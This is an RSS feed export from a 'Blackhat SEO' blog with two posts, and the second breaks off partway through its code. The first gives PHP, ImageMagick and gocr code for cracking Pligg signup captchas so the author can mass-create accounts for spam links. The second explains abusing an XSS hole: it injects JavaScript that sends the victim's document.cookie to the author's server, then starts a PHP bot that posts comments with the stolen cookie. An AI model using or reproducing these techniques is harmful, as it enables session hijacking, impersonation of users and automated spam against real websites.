<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Blackhat SEO tips, tricks and scripts</title>
	<atom:link href="http://www.blackhatfun.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.blackhatfun.com</link>
	<description></description>
	<pubDate>Fri, 22 Aug 2008 20:49:08 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>How to crack a captcha</title>
		<link>http://www.blackhatfun.com/?p=25</link>
		<comments>http://www.blackhatfun.com/?p=25#comments</comments>
		<pubDate>Fri, 22 Aug 2008 20:47:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Scripts]]></category>

		<category><![CDATA[captcha]]></category>

		<category><![CDATA[crack]]></category>

		<category><![CDATA[pligg]]></category>

		<guid isPermaLink="false">http://www.blackhatfun.com/?p=25</guid>
		<description><![CDATA[Ingredients:
- a pligg captcha
- gocr
- ImageMagick
- PHP
You&#8217;ve probably already heard about pligg, it&#8217;s a digg clone which is pretty easy to install. That means a lot of people already have it running on their domain (free backlinks with different IPs and PageRank!).
Google: inurl:live_comments.php
Pligg demands you enter the right captcha answer at sign up. Once you&#8217;re [...]]]></description>
			<content:encoded><![CDATA[<p>Ingredients:</p>
<p>- a pligg captcha<br />
- <a href="http://jocr.sourceforge.net/" target="_blank">gocr</a><br />
- <a href="http://imagemagick.org/script/index.php" target="_blank">ImageMagick</a><br />
- PHP</p>
<p>You&#8217;ve probably already heard about pligg, it&#8217;s a digg clone which is pretty easy to install. That means a lot of people already have it running on their domain (free backlinks with different IPs and PageRank!).</p>
<div class="codesnip-container" >Google: inurl:live_comments.php</div>
<p>Pligg demands you enter the right captcha answer at sign up. Once you&#8217;re signed up however, you no longer need to enter captcha&#8217;s. So if you&#8217;re like me, you sign up for the sites, keep the passwords and logins in a nice list, put a small bot together and throw a couple of links to the pligg sites.</p>
<p>If however, you want to sign up for a lot of pligg sites and don&#8217;t want to do it manually you&#8217;ll have to crack the captcha pligg provides. Lukily the captcha is pretty easy to crack since there is enough space between all the numbers.</p>
<p>So we start by downloading the captcha through PHP with wget, you can fetch the captcha&#8217;s URL with fsockopen/curl on the sign-up page:</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/bin/wget -O /home/cracker/captcha.jpg http://www.pliggsite.com/ts_image.php?ts_random=[xxxx] . &quot;</span> &amp;gt; /dev/<span class="kw2">null</span><span class="st0">&quot;));</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
</div>
<p><img src="http://img367.imageshack.us/img367/1807/captchapl6.jpg" alt="captcha image" /></p>
<p>Okay so we downloaded the captcha and saved it. Now let&#8217;s perform some ImageMagick actions to clear the noise in the background. We&#8217;ll use a floodfill to find the background color and then remove it from the image.</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/local/bin/convert /home/cracker/captcha.jpg -quality 100 /home/cracker/captcha.jpg&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//optimize</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/local/bin/convert /home/cracker/captcha.jpg -fuzz 25000 -fill black -draw &#8216;color 5,5 floodfill&#8217; -quality 100 /home/cracker/captcha_c.jpg&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//floodfill and fill bg in black</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/local/bin/convert /home/cracker/captcha_c.jpg -negate -quality 100 /home/cracker/captcha_h.jpg&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//negate the picture</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/local/bin/convert /home/cracker/captcha_h.jpg -shave 10&#215;10 -quality 100 /home/cracker/captcha_cracked.jpg&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//remove the border</span></div>
</li>
</ol>
</div>
</div>
<p>Now we have a nice image with no background noise:</p>
<p><img src="http://img382.imageshack.us/img382/1164/c1vx3.jpg" alt="image clean" /></p>
<p>Ok so that&#8217;s looking pretty good. However we need to optimize this image a bit. First of all, for gocr to work properly we&#8217;ll need to add more space in between the numbers. We also should make the numbers bolder so gocr will recognize it better/faster.</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$im</span> = imagecreatefromjpeg<span class="br0">&#40;</span><span class="st0">&#8216;captcha_cracked.jpg&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$width</span> = imagesx<span class="br0">&#40;</span><span class="re0">$im</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$height</span> = imagesy<span class="br0">&#40;</span><span class="re0">$im</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$x</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$new</span> = imagecreate<span class="br0">&#40;</span><span class="re0">$width</span><span class="nu0">+300</span>, <span class="re0">$height</span><span class="nu0">+200</span><span class="br0">&#41;</span>; <span class="co1">//make space for the extra spacing</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$white</span> = imagecolorallocate<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="nu0">255</span>, <span class="nu0">255</span>, <span class="nu0">255</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$black</span> = imagecolorallocate<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="nu0">0</span>, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$start</span> = <span class="kw2">false</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$hitfound</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newx</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newy</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$lastx</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$x</span> &amp;lt; <span class="re0">$width</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$y</span> &amp;lt; <span class="re0">$height</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="nu0">16777215</span> - imagecolorat<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &amp;gt; <span class="nu0">1211142</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newy</span> = <span class="re0">$y</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span><span class="nu0">+1</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span><span class="nu0">-1</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>aboveme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; belowme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span><span class="br0">&#41;</span>    <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$white</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span>++; <span class="re0">$newy</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="re0">$foundblack</span> &amp;lt; <span class="nu0">2</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span><span class="re0">$start</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span><span class="re0">$hitfound</span> &amp;lt; <span class="nu0">7</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span><span class="re0">$x</span> &amp;gt; <span class="re0">$lastx</span><span class="nu0">+6</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newx</span> += <span class="nu0">50</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$lastx</span> = <span class="re0">$x</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$hitfound</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="re0">$foundblack</span> &amp;gt; <span class="nu0">0</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span>!<span class="re0">$start</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="re0">$start</span> = <span class="kw2">true</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$x</span>++; <span class="re0">$newx</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">imagejpeg<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="st0">&#8216;old.jpg&#8217;</span>, <span class="nu0">100</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//round 2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$im</span> = imagecreatefromjpeg<span class="br0">&#40;</span><span class="st0">&#8216;old.jpg&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$width</span> = imagesx<span class="br0">&#40;</span><span class="re0">$im</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$height</span> = imagesy<span class="br0">&#40;</span><span class="re0">$im</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$x</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$new</span> = imagecreate<span class="br0">&#40;</span><span class="re0">$width</span><span class="nu0">+200</span>, <span class="re0">$height</span><span class="nu0">+200</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$white</span> = imagecolorallocate<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="nu0">255</span>, <span class="nu0">255</span>, <span class="nu0">255</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$black</span> = imagecolorallocate<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="nu0">0</span>, <span class="nu0">0</span>, <span class="nu0">0</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$start</span> = <span class="kw2">false</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$hitfound</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newx</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newy</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$x</span> &amp;lt; <span class="re0">$width</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span> = <span class="nu0">0</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span> <span class="br0">&#40;</span><span class="re0">$y</span> &amp;lt; <span class="re0">$height</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="nu0">16777215</span> - imagecolorat<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &amp;gt; <span class="nu0">2211142</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$newy</span> = <span class="re0">$y</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span><span class="nu0">+1</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span><span class="nu0">-1</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span>aboveme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; belowme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span><span class="br0">&#41;</span> || <span class="br0">&#40;</span> diagonal<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span>     <span class="br0">&#41;</span>  <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$black</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$foundblack</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">imagesetpixel<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="re0">$newx</span>, <span class="re0">$newy</span>, <span class="re0">$white</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$y</span>++; <span class="re0">$newy</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span><span class="re0">$foundblack</span> &amp;gt; <span class="nu0">0</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span>!<span class="re0">$start</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="re0">$start</span> = <span class="kw2">true</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span> <span class="br0">&#40;</span><span class="re0">$foundblack</span> &amp;lt; <span class="nu0">2</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span><span class="re0">$start</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; <span class="br0">&#40;</span><span class="re0">$hitfound</span> &amp;lt; <span class="nu0">6</span><span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$hitfound</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$x</span>++; <span class="re0">$newx</span>++;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">imagejpeg<span class="br0">&#40;</span><span class="re0">$new</span>, <span class="st0">&#8216;new.jpg&#8217;</span>, <span class="nu0">100</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> aboveme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="nu0">-1</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> diagonal<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> <span class="br0">&#40;</span>isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span><span class="nu0">+1</span>, <span class="re0">$y</span><span class="nu0">-1</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span><span class="nu0">-1</span>, <span class="re0">$y</span><span class="nu0">+1</span><span class="br0">&#41;</span> &amp;amp;&amp;amp; isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span><span class="nu0">+2</span>, <span class="re0">$y</span><span class="nu0">-2</span><span class="br0">&#41;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> belowme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="nu0">+1</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> doublebelowme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="nu0">+2</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> leftme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span><span class="nu0">-1</span>, <span class="re0">$y</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> rightme<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span><span class="nu0">+1</span>, <span class="re0">$y</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> isBlack<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">return</span> <span class="br0">&#40;</span><span class="nu0">16777215</span> - imagecolorat<span class="br0">&#40;</span><span class="re0">$im</span>, <span class="re0">$x</span>, <span class="re0">$y</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &amp;gt; <span class="nu0">2211142</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
</div>
<p>This code is using php&#8217;s GD library to perform some operations. It will scan the image and if it finds a spot with less than 2 black pixels it means there&#8217;s a space between the 2 numbers. We put extra space between the numbers and make them bolder.</p>
<p><img src="http://img382.imageshack.us/img382/8614/c2te5.jpg" alt="bold image" /></p>
<p>The final step is to fetch the result from gocr.</p>
<p>Ofcourse you first need to train gocr, you can do this by:</p>
<div class="codesnip-container" >gocr -p data/ -m 256 -m 2 -a 25 new.jpg</div>
<p>This will train gocr. If you feel gocr has learned enough, you can request the captcha result by doing:</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><a href="http://www.php.net/exec"><span class="kw3">exec</span></a><span class="br0">&#40;</span><span class="st0">&quot;/usr/bin/gocr -p data/ -m 256 -m 130 new.jpg&quot;</span>, <span class="re0">$a</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print_r"><span class="kw3">print_r</span></a><span class="br0">&#40;</span><span class="re0">$a</span><span class="br0">&#41;</span>; <span class="co1">//print the captcha answer</span></div>
</li>
</ol>
</div>
</div>
<p>$a will contain the answer, simply post that to the sign up page with fsockopen and you&#8217;re in! Massive accounts in no time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.blackhatfun.com/?feed=rss2&amp;p=25</wfw:commentRss>
		</item>
		<item>
		<title>Feeding cookies to a bot</title>
		<link>http://www.blackhatfun.com/?p=23</link>
		<comments>http://www.blackhatfun.com/?p=23#comments</comments>
		<pubDate>Thu, 14 Aug 2008 23:42:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Tricks]]></category>

		<category><![CDATA[cookies]]></category>

		<guid isPermaLink="false">http://www.blackhatfun.com/?p=23</guid>
		<description><![CDATA[You&#8217;ve probably heard of XSS. The javascript injection which will steal your cookie, bypassing the cross-domain policy implemented by browsers. Normally, you are not allowed to see the cookie of another site/control a user on another site.
However, if a site has XSS leaks, this does become possible. All you need is a way to inject [...]]]></description>
			<content:encoded><![CDATA[<p>You&#8217;ve probably heard of XSS. The javascript injection which will steal your cookie, bypassing the cross-domain policy implemented by browsers. Normally, you are not allowed to see the cookie of another site/control a user on another site.</p>
<p>However, if a site has XSS leaks, this does become possible. All you need is a way to inject javascript (clientscript) code onto the page. It does not even have to be saved on the site itself, simply an unfiltered echo $_GET['whatever']; will do.</p>
<p>Once you find this, you can steal the cookie and use it to act like the user. There are 2 options: either you use the cookie with a bot you wrote, or you mimic the user actions with javascript/ajax, since you can access javascript on the other site.</p>
<p>I&#8217;ll talk about sending the cookie to your bot, which will for example post a comment on a popular social network.</p>
<p>Let&#8217;s say the XSS hole you found is : http://www.othersite.com/input.php?txt=[whatever]<br />
All you do is inject this piece of javascript code to attach the script to the current page:</p>
<div class="codesnip-container" >var ss = document.createElement(&#8217;script&#8217;); ss.src = &#8216;http://www.mysite.com/cookiejar.php?cookie=&#8217; + document.cookie; ss.type = &#8216;text/javascript&#8217;; document.getElementsByTagName(&#8217;head&#8217;)[0].appendChild(ss);</div>
<p>This will send the cookie to cookiejar.php where we will catch the cookie and feed it to our bot.</p>
<div class="codesnip-container" >
<div class="codesnip" style="font-family: monospace;">
<ol>
<li class="li1">
<div class="de1"><span class="kw2">function</span> post<span class="br0">&#40;</span><span class="re0">$cookie</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$fp</span> = <a href="http://www.php.net/fsockopen"><span class="kw3">fsockopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;othersite.com&quot;</span>, <span class="nu0">80</span>, <span class="re0">$errno</span>, <span class="re0">$errstr</span>, <span class="nu0">30</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="re0">$fp</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;$errstr ($errno)&amp;lt;br /&amp;gt;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span> = <span class="st0">&quot;POST /comment.php HTTP/1.1<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$salida</span>.=<span class="st0">&quot;Host: othersite.com<span class="es0">\r</span><span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
